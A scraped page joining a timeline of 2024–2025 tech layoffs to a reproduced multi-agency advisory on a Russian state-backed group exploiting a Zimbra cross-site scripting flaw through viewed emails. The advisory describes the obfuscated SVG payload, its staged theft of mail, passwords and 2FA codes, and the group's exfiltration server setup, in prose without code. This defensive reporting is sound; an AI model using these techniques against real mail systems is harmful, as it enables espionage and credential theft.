<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



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      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
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  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



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      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
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<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



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      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
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<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
